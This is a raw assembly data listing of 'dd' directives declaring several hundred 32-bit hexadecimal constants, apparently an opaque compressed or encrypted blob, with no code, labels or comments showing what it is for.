dd 0BB008097h, 0F0949F66h, 0B0465Ch, 0DA5C081Ah, 19E3EA6h
dd 7FE5C401h, 10C05DB0h, 0EC1DA414h, 6AC10173h, 48B93574h
dd 4189FD9Ah, 7C3FD648h, 8C4EF8ACh, 878BE900h, 162B9EC0h
dd 74149459h, 3F1C8B46h, 6D6E4072h, 67CEE9F2h, 2CC8B94Bh
dd 16DD5E3Ah, 88108B44h, 1D8CC1DFh, 5D4FDC5Bh, 8880844Ah
dd 919F538Fh, 18D5795Ch, 0E60C00BCh, 48D3F367h, 0D0168AC5h
dd 74A417F4h, 31E4605Dh, 8791379Ah, 3DF2AC00h, 326B305Ah
dd 470A012Dh, 0A0EC9BFAh, 28F5E438h, 0F8988660h, 0BADE56E8h
dd 9D9407ACh, 0B242E223h, 0C879DD7Bh, 0FD194471h, 3C7FE129h
dd 0C88E4F7Ch, 22C07588h, 24AE152h, 2E38D853h, 2041A015h
dd 0BA4E9298h, 5F130F2h, 0E04F0C98h, 7F152F78h, 0D0AE410h
dd 0D1A2D600h, 6B63E870h, 19250E06h, 2EA24541h, 18E5DD08h
dd 116044E4h, 0C4BC4A53h, 0E1465Eh, 74DBA763h, 5541501h
dd 97C8E5CCh, 0A91C8836h, 0F884048Ch, 0A27B25C4h, 7C5DC03Ch
dd 0E46068F8h, 0E0A109F4h, 0B082AD93h, 4700E68Ah, 1625444Eh
dd 9EFB7C0h, 1451520Ch, 2718DCF9h, 0E4112802h, 7C6D86BAh
dd 45BF0AD0h, 65E28090h, 0FBEF2CD6h, 0C074551Dh, 19EE43C3h
dd 0E81C83F5h, 0A09CF12Dh, 1223C7F8h, 0A4CDE4F2h, 51031D68h
dd 65AA532Bh, 0D99CA2FAh, 184E791Ch, 2D6F012Ch, 57FF13C1h
dd 40D020AEh, 48B58918h, 8846C4B0h, 6C000669h, 0E979A9CFh
dd 0E626D3C7h, 0D6AD0136h, 0DF387D82h, 0AACC4245h, 11F88D30h
dd 888325C1h, 855E8370h, 8A80B6F8h, 307B5734h, 80913F27h
dd 48B01030h, 0C1504E3Ch, 739FA2C8h, 0C038F71Ch, 481A0B2Ah
dd 0F4F0DBECh, 41A65330h, 0FAAD7726h, 0BF9A3837h, 1196390Fh
dd 93A8453Fh, 2690E210h, 465EB4DEh, 0B7D1178Ch, 832600EFh
dd 0BCB67422h, 0E0DCF73Bh, 3ED970E8h, 1FC8B6C0h, 0BD2102F2h
dd 90D44DBAh, 504674h, 755EEC43h, 9441464Eh, 0F4B4028Ch
dd 3CF1321Ch, 0BB426400h, 0B51A3F3h, 92CD25D9h, 1278E8C9h
dd 5C7260h, 9747F845h, 34217566h, 0D72F4CBAh, 94D010B5h
dd 20B4B8CCh, 827A9D45h, 81F32230h, 59F9Ch, 0B8EB083Ah
dd 23599A46h, 0A8D1BC4Bh, 0D91097F3h, 5982D8CAh, 8C3F019Ch
dd 6010BA42h, 94A0BC78h, 0D1C03BE9h, 67AA9AD8h, 0F4A19FB1h
dd 0C9218C99h, 374880EAh, 0B477AE1Eh, 81E82AF7h, 0DBD827BCh
dd 0B39350B5h, 402850F1h, 372CCEE0h, 27D85493h, 0BCBB004Ah
dd 740EC089h, 0DA32D912h, 563EC9E7h, 0B865ADA4h, 0C56006E4h
dd 0DC00F1AAh, 6511C14Ch, 5E96FB52h, 8EB816A2h, 0CEEB88E4h
dd 0F36B0E60h, 10974247h, 0B33DF1Ch, 362B1723h, 95706018h
dd 0CA9CC507h, 75001AE2h, 0D3D5B6D1h, 0E028B6E0h, 0FEB5426h
dd 0A0568132h, 2101D76Bh, 3D5F6BF3h, 648300D0h, 103B3FD5h
dd 1D9B06E1h, 4948C4F6h, 943D1607h, 2F5086F3h, 261FAAC1h
dd 2F5570Fh, 0A0C93A66h, 0E871E451h, 224A5D18h, 783EF090h
dd 6F452D90h, 7691B417h, 80620A87h, 0C0678CBCh, 0DE894138h
dd 0AC662004h, 129E9488h, 0CB883FA4h, 0C7B1C83Ch, 0C95EF0C1h
dd 0B7979E7Dh, 68160590h, 8078DB46h, 593FD2EFh, 2211098Eh
dd 0C86218F5h, 8AC6D460h, 60F75D80h, 0A79B703Eh, 0E47BFFC3h
dd 0BD5C8803h, 0E91F71BCh, 7434C955h, 5F7066h, 3E426A1Ah
dd 2AFB3AE1h, 8B6C3600h, 0FE39EB8Fh, 0AE333827h, 5DC22B80h
dd 0A6775ECBh, 9B00D290h, 595A8E5Ch, 5BBE6Ch, 7B3ACF39h
dd 0F0346E66h, 9A5F6400h, 8DAD0B06h, 0FCA9057Ah, 0C131E5B4h
dd 47E7C8B5h, 892A80D7h, 0B169504h, 7F039CCEh, 0F8A5A159h
dd 0D344C2h, 3DE75CBh, 0EB3EA718h, 0F23F7301h, 768B42BCh
dd 0FDBEE9C8h, 5DA0E0h, 8594B021h, 2A684FEh, 0EEF54506h
dd 82875F8h, 55254FF4h, 0C3A20480h, 0E8C2299Ah, 0FEF845h
dd 0E5F186EBh, 0A2D2591h, 0A8C9B133h, 9E94F06Ah, 3CE6006Eh
dd 849FD010h, 1E003DB6h, 402D18D9h, 1C767401h, 3A18E03h
dd 16259C04h, 0C42090BCh, 0BB0083B5h, 42B46548h, 0A0439D67h
dd 0F2E9B5h, 0A190B3B8h, 76ABC15Bh, 1F3ABB00h, 8596D387h
dd 6BF630A6h, 0C68FE160h, 0E393F201h, 1CE7445Bh, 0A673F8h
dd 3ACCE9FFh, 0AE7E26F9h, 2FB08777h, 39C8B00Ah, 1706DAC4h
dd 22985E79h, 8D00BE44h, 0E0FCB2B0h, 9D5FD1h, 0CAA81003h
dd 0ED12757Eh, 3FB8C601h
dd 0E2E47B4h, 0F4DC16E0h, 787E0027h, 84D224DAh, 0D401072Ch
dd 90E092E6h, 83FD4DEAh, 7CDE7BD4h, 0E94E60D9h, 76CE204Ah
dd 3F72C0A8h, 69EAC600h, 44084F1Dh, 0FDE700CCh, 0F48B520Ch
dd 3700DC05h, 0ED73FF7Ah, 1D4A0Dh, 7F19FA42h, 29DA3F39h
dd 49590509h, 0CA0420CFh, 0FBF79Ah, 2BB36725h, 53F0A71h
dd 0ACF0B600h, 0F940246Eh, 8F449EAh, 1F3CE800h, 4B1ACA5Ch
dd 0B4276704h, 0E890A3ADh, 0D0865B8h, 79AA4060h, 20C4030h
dd 0D0181AEFh, 0A7A8996Dh, 83FB07B6h, 0D04A0F05h, 0C255ACDAh
dd 0BEB87B60h, 6A5E9Bh, 4D143FCDh, 0CCF7D1Fh, 1F02B00h
dd 2FC8DBECh, 0A0BD006Ah, 0CD961A28h, 6F1F89DDh, 0E9055B9Ah
dd 984083D9h, 475CA077h, 0EABA0063h, 69CEEBD0h, 0A402F06Bh
dd 0E539EC8h, 0BB3E60D8h, 11233C0Ch, 31B06680h, 622AF268h
dd 0A9EE0102h, 0E861BE72h, 0F7DA560h, 0AE11D317h, 80D45B8Ah
dd 7A761C4Eh, 67031279h, 2CD7BDDDh, 0D4BB80DFh, 0C9EE004Ch
dd 0B99FEB2Fh, 14003B9Ch, 0C7F92ED6h, 0A0DAF1h, 0D549546Bh
dd 0CC802DE9h, 0F1291137h, 3DE5C4A0h, 0CDD418DDh, 1F497156h
dd 80F4A779h, 2F76DF0Ah, 1880A0E0h, 23CBF642h, 30017950h
dd 9818798Ch, 0BF0A55ECh, 90A5B814h, 0F4497880h, 169531E2h
dd 0F4CB4288h, 48005C54h, 0BF43BC1Fh, 1C1A3DBEh, 7420D4Ch
dd 0A97495h, 6632868Fh, 26700107h, 7D8073D2h, 0AA065Dh
dd 0DBFFBDCh, 74A89DA9h, 3779780Fh, 140BEE8h, 3E93D5B0h
dd 8C2D0036h, 64B31C0Dh, 600F6A5h, 8F5D85ACh, 281618B7h
dd 1CCC6AC6h, 40B4D752h, 916172EBh, 5777C5C9h, 62190300h
dd 0D0F60E70h, 3FDE02B9h, 0E173324Fh, 577FC360h, 39D5BC3Dh
dd 0F05080EBh, 0D8B9E6F9h, 0F2480BF5h, 0F80A2EDh, 2E32775Ah
dd 562B5100h, 0A987F1F7h, 0A45D3899h, 91135880h, 712D45D1h
dd 7CB4B900h, 8FE72C79h, 0F5860351h, 1DCE4F6Bh, 4532C5E0h
dd 0FF969000h, 0A380692Ah, 0D92200DEh, 0F351B155h, 0B2011D84h
dd 2CCF1327h, 24203B99h, 9A4D1E6Ch, 50FF40D2h, 6EF948ACh
dd 39CC0D1Dh, 0C5210741h, 0D0509E5Ch, 2AA4712Eh, 0EE46AE1h
dd 633D7B5Eh, 1E47B8A0h, 0C70560A9h, 0C9136F76h, 6E148C00h
dd 0E6BF435h, 0FDE9E8BAh, 0F52E780h, 0E130132Ah, 37F026FCh
dd 0A09E1F63h, 0C948C07Ah, 3FB5E512h, 86411F1Dh, 1409EFC3h
dd 0E6A9E060h, 901E7CDDh, 0B83F051Dh, 90457668h, 54859C0h
dd 0DB07D0Eh, 0A31380DEh, 7033D1Fh, 7247E433h, 40B1C0BAh
dd 7000F42Dh, 7B888B51h, 61C21C57h, 0F0B2106Fh, 8793EC74h
dd 1A3C2201h, 0B4663EC4h, 0A8D4E8h, 0EB9B30DFh, 0A9918945h
dd 6E5F9700h, 58F9F719h, 34AF00A4h, 0E9D01171h, 660648ECh
dd 0BEA78C84h, 88B46261h, 64F05F99h, 0E305ADECh, 7D6AD907h
dd 57F32AC1h, 0B508CCh, 8B2F2606h, 0D54801A3h, 9E419B03h
dd 0F865240Dh, 0F0C76C2Dh, 289B046h, 8FDFF862h, 96E3A6EFh
dd 0FF308090h, 6104EC2Ch, 9455CD01h, 0A0EC5D10h, 0AE14044Fh
dd 0C075D845h, 0BAE7357Eh, 0AF000776h, 0B918E802h, 0B20954h
dd 9E6401B0h, 0DD57C783h, 0E5A83200h, 906FDB37h, 43FC0313h
dd 8C94D8A3h, 0B76433B7h, 44EBDE80h, 708A0D4h, 0E9E2BF74h
dd 7D94C150h, 0AAF2024Ah, 739ADC46h, 42B20E0h, 0FEAF3F0Fh
dd 419DE028h, 0F05ADBh, 9094C336h, 0B3CE5DFDh, 41DF4Ch
dd 9C4447BFh, 7E45D46Ah, 41AA00C7h, 0A2666B4Ch, 2700C276h
dd 69331B2Fh, 0D6FD08h, 953E0348h, 8D4C57C4h, 0B3A86800h
dd 8075AE82h, 37C700A1h, 7FDA70F6h, 910F5697h, 60743051h
dd 0BBE4A86Bh, 1D67765h, 0F3D7ABFEh, 407BB0BFh, 0E9D242A4h
dd 0B36CFC00h, 697521FFh, 0CDE0031h, 0F5E12F4h, 7409B76Bh
dd 68CB80ABh, 0B0A34408h, 44800E4h, 7B84A70Dh, 9E0F5590h
dd 20E0FF52h, 502C35E1h, 7DBE0F5h, 2891861Bh, 0D7FF800Fh
dd 0A40088A8h, 12030729h, 28428739h, 2F30A12Ch, 88A05285h
dd 3C8EE012h, 0CB127CF0h, 14A18BA2h, 74930020h, 0F7589FA7h
dd 0C800F0BAh, 0E83B31C3h, 0E043CB7Bh, 5187007Ch, 0A33580AFh
dd 3A00B03Ch, 3106C9DAh, 362A2A9h, 4D87FB33h, 0DE8872FFh
dd 385F3A8Dh, 93259041h, 94E1CAD8h, 960BE429h, 20C8409Dh
dd 3D00BA90h, 706C4725h, 0B0AA934Ch, 0F8B62880h, 0DECA184Ch
dd 0AEBF3131h, 0BA33F119h, 18FC2D08h, 0B310A9CBh, 431F3880h
dd 21C5A9D8h, 97483500h, 2B9E40BCh, 327C0077h, 4AE4AF3Ch
dd 0B71D3455h, 255C978Eh, 0CBD47F43h, 0A745C856h, 38F424h
dd 33E83F5Dh, 4F7E2087h, 0D007A075h, 4EC35CB8h, 0E5FE9680h
dd 1D736Ch, 8D41D784h, 0F777B9A5h, 1F345013h, 854D2890h
dd 0FF01F10h, 6EF60051h, 55A9014Ch, 0C07CAFBFh, 4B3F1E5Ah
dd 9BC38EBh, 0CC52007Eh, 0C39EF26Ch, 5F00F8CEh, 0BAFF87CDh
dd 9C98606h, 3E198943h, 0B2090C50h, 0F350EF73h, 3EAE783Ch
dd 68E8F725h, 2A8888Ch, 0B352C7A4h, 9C5C3AD5h, 0BC102404h
dd 0A22540A8h, 72445467h, 1300FE67h, 46B9A68Ch, 97AF34BCh
dd 9CEB910Ch, 86F81A41h, 1980EA5Eh, 46B53151h, 4E002083h
dd 93CE3E1Fh, 0E2C1C6h, 766DEA3Dh, 22B90121h, 0DC6EA54Eh
dd 3F111E07h, 559A799h, 4AB8EC41h, 6C87C8Bh, 0F9BDE3C0h
dd 0EFE40046h, 6CD958CBh, 0BA12E523h, 0FCA0557Eh, 9B820A27h
dd 28888B70h, 5E6CB6ECh, 8D004F46h, 4BCAD0E1h, 0EC521FA8h
dd 5CC84EE4h, 0FB650E18h, 90A0C466h, 930F4C63h, 1000E970h
dd 0CD71F0ADh, 18BED743h, 88346403h, 922DD8E8h, 0FDF0E8B0h
dd 6F214F9Ah, 6FB20BF4h, 94BE00BDh, 251E3E72h, 48E4E984h
dd 813F393Dh, 96F577ADh, 2E2AA004h, 1CE82388h, 23AFC0BFh
dd 0D9A09BE4h, 644B1074h, 0A05D34C8h, 574818h, 2DA84E06h
dd 0B5C80D14h, 86428300h, 0F1C7F062h, 545C1635h, 1CB0E031h
dd 0C6B020BFh, 3419601Dh, 0FCB85551h, 0FBB1B028h, 709E804Ch
dd 57BC9309h, 3E80F021h, 0CB40A352h, 942A1200h, 66B1DCC0h
dd 6B6C0239h, 19AC379Fh, 9D57A0C2h, 97DF8864h, 0E05B1B60h
dd 227FF348h, 0C520A25Ch, 0F5501714h, 0DF73E6D0h, 3A370059h
dd 0A220DCEFh, 0CD25F8B6h, 0C507CECCh, 9AD162D0h, 0BB3B9CD8h
dd 56D98911h, 38D003BAh, 6A61FAE3h, 79D4D920h, 126B1872h
dd 0F422A586h, 9D00D224h, 84F22775h, 95214FBAh, 0EE2370A0h
dd 29D66A22h, 0E600D4E2h, 96E36D75h, 9438E84Bh, 2D3F0ED6h
dd 4AC1449Dh, 1025AD43h, 5440EE8Ah, 3D285941h, 3C12F892h
dd 80E38E54h, 0A730ADE2h, 0DF650496h, 864B1BB2h, 1DB79828h
dd 9DEB91B0h, 0DD935B44h, 9640ACh, 5991CFADh, 0F20EC340h
dd 47E3A5ECh, 5FD2CA51h, 352080E6h, 0DC3A16h, 0F260161h
dd 8B29A6A3h, 0AD0F212h, 5CACCE0h, 1F97694h, 0E98E9BAh
dd 65286AC1h, 0DC8817F4h, 0BEC7BB5h, 0CA88EFDEh, 445154F3h
dd 0DF029018h, 5EA9BBF4h, 8F5883E8h, 6B99A04Fh, 44C100D3h
dd 0C83BE258h, 22015020h, 0BA55B2C9h, 112FAC10h, 40B9A87Ch
dd 0EFB71531h, 678A297h, 0F45CD44Ch, 54E3D804h, 4885EE5h
dd 2996016Ch, 8505D55Ah, 60B14015h, 0D700E5BEh, 1CC3213Eh
dd 1F96EFF7h, 4036E776h, 0E052AEEBh, 5307558Ch, 0F1788497h
dd 0CECF1E90h, 0D7880EADh, 838FAE16h, 29912078h, 0CD9B5300h
dd 87E5861h, 0ED9E7C78h, 703B7CECh, 141C01DCh, 21A38211h
dd 7560D8A7h, 0F2D2DA07h
dd 0EF11D630h, 0E1DC5A69h, 7950638Bh, 80AF2EC1h, 74AEE64h
dd 91FE0802h, 573036h, 41F53358h, 0FDD7BA01h, 0CDD054E8h
dd 216A0898h, 4107E015h, 7C6F7E80h, 9669A6EEh, 1BEAD9h
dd 4FD7A165h, 580A91C3h, 886A2518h, 26E497B8h, 3A0495BAh
dd 3933686h, 0DC600894h, 95C2C621h, 0B83A738Bh, 0B8350070h
dd 23C9F0F2h, 58DD9FE9h, 669F7CFh, 10AEA1h, 89250275h
dd 0B2315F91h, 2076DD0Eh, 0B0161B7h, 40482158h, 0DC9508BEh
dd 0F8C4C46Bh, 95C6C240h, 0D230F485h, 0AF5F155h, 0C4890E93h
dd 0D0958B59h, 0D2C32600h, 7C2DBF63h, 85BCF728h, 1E24DF0h
dd 8919EE02h, 0AF523AF8h, 73DA07BCh, 9A87E845h, 8A437B00h
dd 0FA150169h, 78177C0Ah, 2098428Eh, 1495BF30h, 588C6BD9h
dd 95C7C3A0h, 61257200h, 0C684EC76h, 1493497Ah, 151AB700h
dd 743908EEh, 0C9125619h, 2180A008h, 0D41532D1h, 0CFF26723h
dd 9E01CAE6h, 36C01FEh, 0B040C3F1h, 0C0831362h, 3F656971h
dd 2AF0095Fh, 0B90454A4h, 0DC6BF795h, 0C520D962h, 38B595C1h
dd 90812BCAh, 68D2CE87h, 9A2181F3h, 6A86F7A1h, 849660h
dd 0E51223F5h, 53AA0BFEh, 77C8720Ch, 6BB9A5h, 0C3E4F7CCh
dd 21D5F812h, 0CAE22000h, 0D44F7240h, 0A3F30170h, 6B569857h
dd 30C02038h, 8BE85954h, 18BDD003h, 90550615h, 76400B0Eh
dd 0BA28CBBBh, 50CC5E00h, 0C8A18A44h, 8BB1824h, 0AC6BF595h
dd 0C740F6C4h, 0DBCF95C3h, 3CDDE005h, 0F4007A6Ch, 91F95854h
dd 1B49334h, 0D7C041DFh, 886B18CDh, 411FE213h, 9B8224EFh
dd 98256360h, 907A67C4h, 0DBCD0C7Ch, 0F2F0F534h, 0EE7A800h
dd 3DD5EDF1h, 78238391h, 41DA0133h, 18E5D7BFh, 0E110882Ch
dd 62A2410Eh, 14EF60D5h, 0DE1A4Bh, 0D33DF06Eh, 4056A76Fh
dd 32461C98h, 0BE41D902h, 2E31DDD7h, 41E41110h, 779C6C00h
dd 0C21A6599h, 5A1E373Ah, 0CC91E21h, 36518C18h, 10725437h
dd 0E96130A7h, 7026C884h, 28151C02h, 9931C909h, 1534D710h
dd 0B319CD00h, 264D8DDFh, 97C92489h, 60C26498h, 29F2151Eh
dd 40281908h, 41536CDh, 0AB7D9301h, 0CF6F09BAh, 0A0E960D4h
dd 0C9CACC0h, 0D9F0C3CDh, 3E13DF10h, 2C001447h, 6CA7AA6Dh
dd 884F41B8h, 12EECC28h, 0F884206Ah, 5638B76Ch, 0B27EA61Ah
dd 5D630E00h, 13C69B9Eh, 43513BC5h, 92DD8928h, 69ED9901h
dd 8550D766h, 8CE73460h, 1D1F2A75h, 0BEA116CFh, 221898C4h
dd 70BE3C53h, 0BC90C0EFh, 8BD4899Bh, 0BC813892h, 81918C5h
dd 2108EF15h, 0D440B6C4h, 0C8331531h, 17AF1B00h, 978FD7BDh
dd 0CC2613B0h, 23543AA7h, 0FBEB009Fh, 0B054CB4h, 82CD9302h
dd 61544280h, 8155250h, 0BDC026D8h, 466BDB95h, 0F522BCh
dd 0B995C5C1h, 0C2461089h, 5EDF5F13h, 0C3A50401h, 2435CE18h
dd 0DE23E437h, 2011793Dh, 8088FECFh, 53239380h, 0F1486C8Eh
dd 0ACDC89ECh, 0EF6007DCh, 34236A95h, 3EB8C08Eh, 210BEE54h
dd 21D8D580h, 0FD2EDDCh, 54DE3982h, 8C407194h, 69D6A08Bh
dd 8123303Ah, 1B13A02h, 61F86020h, 68F3809Bh, 918544h
dd 49287DD1h, 1557F4CCh, 0A03F1EAh, 0B95CD45h, 0E278239Dh
dd 1C47271Dh, 64E81ECFh, 1F805C7Bh, 432EA453h, 38E301B9h
dd 0AFC2F217h, 8839D04Eh, 0EA59BC01h, 0E718DC57h, 18456C34h
dd 0A08C2FD3h, 9B04D4D2h, 3191F8B9h, 48DC40D8h, 0F5263641h
dd 0E3167040h, 4BA84101h, 0F0E9B85Eh, 0D3CFC9C7h, 6889DEFDh
dd 0DE83450Ch, 1016E034h, 20214012h, 89015B48h, 8C32A9D3h
dd 1D80C111h, 108F315h, 0D09E448Ch, 5D153500h, 7BD37E09h
dd 0F9D0CBAAh, 0C300C0B7h, 595BD632h, 0C1CBF6C5h, 623DA8B0h
dd 1C606353h, 22D721EDh, 0C0238408h, 6BDA95C0h, 0DB229446h
dd 95C8C400h, 4DDEDCBFh, 5781069Dh, 68EA54D4h, 0B6D1C491h
dd 2F00221Ch, 30EE6C13h, 580646CBh, 0DCBCB00Bh, 1F37B8Ch
dd 0EA09340Eh, 40AD8D1Bh, 3FAB2AA4h, 0E42D4B2Ch, 7A406184h
dd 2A894D8h, 54DF5955h, 0A04279FCh, 0F7441847h, 36A1BE61h
dd 0CA5F004h, 47BC046Fh, 90DD8BCFh, 6A03ED70h, 25652C00h
dd 27130A1Ah, 499404D7h, 405A2F0Fh, 0E8F177A5h, 2081F5BFh
dd 30744F79h, 32D9105Fh, 8D770016h, 71480805h, 0CF0D9961h
dd 68EB10C3h, 3C63EE8Ah, 6778190h, 60535996h, 121276ECh
dd 0E83A440Bh, 803D7C23h, 0BF9347F3h, 6267E383h, 0CC6878E5h
dd 0A102A802h, 542D84A0h, 0AC04B1BCh, 0C856133Fh, 758CE1ACh
dd 0CF1B1428h, 82883C26h, 53209680h, 13CE7674h, 49D33FAAh
dd 9B860BDCh, 810F1E6h, 3C7541F7h, 4E30A720h, 8DDB8961h
dd 3EED89C1h, 9421148Bh, 0DBE2C072h, 56C45C31h, 1483272h
dd 0C869E9C8h, 0FAED18E4h, 0EECF211Ah, 532595C0h, 5E7000D2h
dd 23D36FC5h, 4F00BBA8h, 0D57A0AF5h, 0B8358D92h, 0E77C2038h
dd 0FB6BF804h, 80819C90h, 820E1E3h, 864A8867h, 0AEDAF900h
dd 0A9333C05h, 9DCD00A1h, 0D2062F40h, 0EA66214Dh, 0C251F86Ah
dd 0A778586Ah, 8BF28CA0h, 163922A5h, 4F6A9DCBh, 0E17CEC41h
dd 5C315480h, 85F0B836h, 0F9006C49h, 276855A6h, 0A8A757ABh
dd 3E51B9D4h, 60CCD41Dh, 0D7C73203h, 11268024h, 540F8C1Eh
dd 0E000D29Ch, 1BBEFB6Fh, 2F4F4ABDh, 6823B0h, 0E6931D23h
dd 0C124A63h, 18D2BB40h, 24392358h, 0DDE1D7B8h, 3FDC4903h
dd 17763C56h, 16591D80h, 23902F68h, 26710B9Eh, 0C7570402h
dd 11601512h, 193A8064h, 638F7009h, 372FB83Eh, 907B09B4h
dd 1203F67Ch, 1A7F36Bh, 9054D028h, 0B4C08B70h, 0F2309151h
dd 0CD800EEh, 6980A8F4h, 0A099321Bh, 8CC1DEA0h, 9718A588h
dd 9FF691ECh, 0DEFD66C0h, 6D350280h, 0DEF8A150h, 0B41F830h
dd 0E915D7B9h, 1A50E416h, 8D3B338Ch, 0B1FE50B8h, 7C2F2724h
dd 0F929A640h, 982A009Eh, 935C3A63h, 0CB00BA73h, 0C0087DA1h
dd 94DAFBFh, 0FC07A76Eh, 0D789C840h, 20539CA9h, 57403304h
dd 2F8B0CD5h, 0EDA09FF1h, 533CD43Ah, 3069A25Ch, 7F00E435h
dd 0A053FEFCh, 8152AC8Bh, 0E04C6060h, 78608A41h, 0D8A550B9h
dd 3738A950h, 4108F618h, 0C405D7BBh, 0DD14402Ch, 9EAF141h
dd 965799C8h, 0E5D22181h, 9851CE68h, 0BCE49525h, 87A100C6h
dd 0BC1791B2h, 2ED52911h, 39A02190h, 535F790h, 0F4B4AD0Bh
dd 0FCCB1CD5h, 35C09C88h, 714B0DCh, 0BF52F32Eh, 7773E024h
dd 1E05E5F6h, 7D9835D7h, 66696490h, 9A2526FAh, 7496DEC0h
dd 0FB6C2302h, 3064D094h, 2E91A478h, 0BD008760h, 0D2CAEBAh
dd 0F8F9E5h, 20405D44h, 62515C8Ch, 148E9724h, 91A03Eh
dd 270741F3h, 37DF119h, 58D112B0h, 1D65BCE8h, 0C0998FD5h
dd 7613A74Fh, 7C580C2Eh, 26F20070h, 5C5794CDh, 8E881FA9h
dd 34FE1423h, 8C2FACh, 7A1B7571h, 4E034204h, 3C26C37Bh
dd 8B8C0C08h, 195161h, 503FE16Fh, 893191C3h, 8420D358h
dd 1C93EA6Ah, 0A9A2B00Ch, 0E28800ACh, 74BA07FAh, 0A22EE02h
dd 10F50155h, 6E93BB9Fh, 0DDE04212h, 1FE4EC31h, 86067ECFh
dd 1F927E44h, 0E4265324h, 0EC3B023Ah, 5479A839h, 0CC1964D9h
dd 0EC6068DEh, 0C05CFFC1h, 8FD20693h, 19873BFAh, 0B85B880h
dd 0C3124274h, 740084FCh, 7B548D52h, 0F81989A4h, 8A0903ADh
dd 852F7C62h, 0ED005A13h, 0D82BAE31h, 0CFB20073h, 0F2396387h
dd 365395EFh, 3064A2DCh, 6830DA32h, 2D3FA186h, 79B707FCh
dd 82C1AA6Dh, 0CC405BD7h
dd 8E058CC8h, 91BB38Dh, 65F81DC2h, 6067E468h, 0C08B7AE2h
dd 373845E9h, 0A5003FECh, 0CC6E070Ah, 0EDA6F32Fh, 3A89E448h
dd 23127EC9h, 0F280C47Dh, 306BF250h, 0C13B273Bh, 1E518F36h
dd 100197E8h, 0AD2E1926h, 4039B420h, 0A28F38Fh, 0F420D07Bh
dd 54F201E1h, 5C3E5658h, 0A6388553h, 84E6F8E8h, 0B92330E7h
dd 28B00134h, 1AE95367h, 98765D01h, 0EC10C869h, 3CDE0493h
dd 0A4878B48h, 0D1A822C2h, 189D7944h, 72993121h, 2E234D8h
dd 7C4C4439h, 74F5F23Dh, 0F2952CE3h, 8C7108E4h, 0AD00F32Ch
dd 876A8FB7h, 9E3C071Ah, 24F47EE2h, 0E0E8E6A1h, 16ACCADh
dd 9C303C3Ah, 3070E1B3h, 7D402418h, 0D9400BC9h, 7023380Ch
dd 4100868Bh, 2D8390D4h, 79D739B3h, 20FE0FA9h, 0FA6E57F7h
dd 0D9D48EE3h, 9331C010h, 0F45F3E02h, 58EAC4D0h, 6579A059h
dd 0CA00B618h, 8CB23614h, 2AB9FBB4h, 5AB08EC7h, 2CC8406Fh
dd 163FBCF5h, 0E1AF3E00h, 9A851098h, 0CACB044Ch, 4F508A67h
dd 4423407Bh, 10CC429Bh, 92D5BA35h, 7DC86C8Ah, 0CACD9AC0h
dd 8C580205h, 0CEF46F9Eh, 50159C5Ah, 1A4BC1Eh, 0D633FB9h
dd 608257D5h, 922503D3h, 9CAEF4AEh, 43E681BCh, 697D451Bh
dd 58F2298h, 0C4E3CF24h, 0F844B0D1h, 7AACD88h, 0B7565C2Bh
dd 88B93080h, 300BD5Eh, 0D3359E76h, 0B1F0CB4Eh, 0B4174968h
dd 27806711h, 374008EFh, 6D09BC94h, 0E4A84595h, 623B609Bh
dd 47ED0063h, 964FC559h, 410403E2h, 50181606h, 0BE3EACC0h
dd 0C2ACB4A9h, 244791FAh, 19602FC4h, 761D706Ch, 6645AD07h
dd 6480FA43h, 5C6A5CF2h, 0AB97B427h, 16C81D8Ah, 3821E2C0h
dd 0EF800B60h, 49F56125h, 0FDC4A809h, 0CF95009Ch, 0BE4F1A31h
dd 0E7005B76h, 0F4BBC2FCh, 0BDC08B35h, 0D66C74h, 0BBC015E6h
dd 0DF8166F2h, 9CA2F53Ah, 0F4BFF78Bh, 20FFD85Eh, 0FBC4DBD2h
dd 22710F00h, 57CA11Ch, 0D0810018h, 7237BE09h, 0C71C8059h
dd 85CE61ADh, 0C1350FD5h, 5AAB4711h, 0ACCFAD7Eh, 0FD10148Bh
dd 1CE873F4h, 77EE8Ch, 930E5EF0h, 503C94D1h, 0B59D310Ch
dd 15FA021h, 81FEBF0Fh, 8D28EDBDh, 4207D014h, 3BDF85F5h
dd 1051FF4Fh, 0CBF99303h, 0FE135EB5h, 1C23CC2Fh, 0B9769C00h
dd 0A0A4327Fh, 350FBA9Ch, 0FE250C87h, 310496E2h, 11D01BDh
dd 82995FFh, 5DB50B00h, 900C0660h, 3F92E781h, 0FB5B9FF2h
dd 211C586Bh, 0FA529934h, 0BABF1005h, 49AA1728h, 72DAFA5Eh
dd 220A5CC0h, 8D550F47h, 8529C0ADh, 0BA2E2530h, 5E89F8F9h
dd 300EFFBDh, 164DC68Bh, 0EF81020Ch, 2E8ADD4Ch, 58D2D3F7h
dd 0C004C75h, 20466332h, 1E42EC4h, 0D54BE66h, 48E9F28Bh
dd 681395B9h, 0AE004A69h, 8DB2705Dh, 90C76E62h, 46DF022Bh
dd 72670022h, 2AF47A43h, 1E00FF9Eh, 55F17664h, 0A2257BEh
dd 0E95E31FEh, 0EF7B0079h, 0AF010F0Bh, 40FB985Bh, 267B8E2h
dd 8B00CF8Fh, 52AC06FCh, 61D2557h, 94F673C0h, 4920825Eh
dd 95890D28h, 420C0B75h, 242C1318h, 6F2C4111h, 0E601F4EDh
dd 0B6D62682h, 0F491E92Ah, 0FF71F7E3h, 459D890Ah, 0C197B917h
dd 0C002DAEAh, 4B68A796h, 0D58206AFh, 9660BCBEh, 10890644h
dd 111DCD85h, 0AF6204EBh, 2B070639h, 71C1563h, 59858D0Ch
dd 0FE96CF26h, 0D3C4E89Ah, 0C069C060h, 5748A26Dh, 583B403Bh
dd 5090610Eh, 24FC87BEh, 0D77B5E57h, 86A621E8h, 0C862D400h
dd 4E99F303h, 75D6BF90h, 331716D6h, 2C0BEAC6h, 343576E8h
dd 0C0D69B4Ah, 0F0C4726Eh, 140C765h, 27035585h, 3918E298h
dd 707C73F7h, 831392E8h, 636F05C0h, 0C0D1A81Ch, 0BB0D6C50h
dd 0F112E09h, 0F51F0186h, 48985FCh, 9C278C24h, 11F2341Ch
dd 35AA8C80h, 0A1FD2CC8h, 3335F893h, 89822342h, 0C3B90045h
dd 0D88E881h, 6135A7E5h, 74A97A26h, 8D48EFACh, 17A51340h
dd 0AB31A922h, 1EE8F5A8h, 9D009480h, 6CFCF90Ah, 79AE719h
dd 0B05346D4h, 82ABD78Dh, 0D3F70938h, 0D64258A2h, 6467AA00h
dd 0FF0BB629h, 2F32B0D3h, 37D53009h, 8CAB814Ch, 331D0C8Dh
dd 705F003Ch, 7F74FEC4h, 0D6DEF847h, 53D8FE1Bh, 0BF23927Ch
